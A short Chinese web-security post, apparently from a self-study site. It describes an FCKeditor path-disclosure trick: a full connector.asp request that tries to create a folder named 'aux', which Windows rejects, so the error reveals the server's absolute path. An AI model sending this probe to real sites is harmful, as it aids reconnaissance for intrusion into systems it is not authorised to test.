最新FCKeditor爆绝对路径漏洞 - 网站安全 - 自学

代码：FCKeditor/editor/filemanager/connectors/ asp /connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux

 

版本未测试。。。

 

原理：新建个aux文件夹，aux在windows 系统 不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。

听说IIS都可以。。 

 

查看更多关于最新FCKeditor爆绝对路径漏洞 - 网站安全 - 自学的详细内容...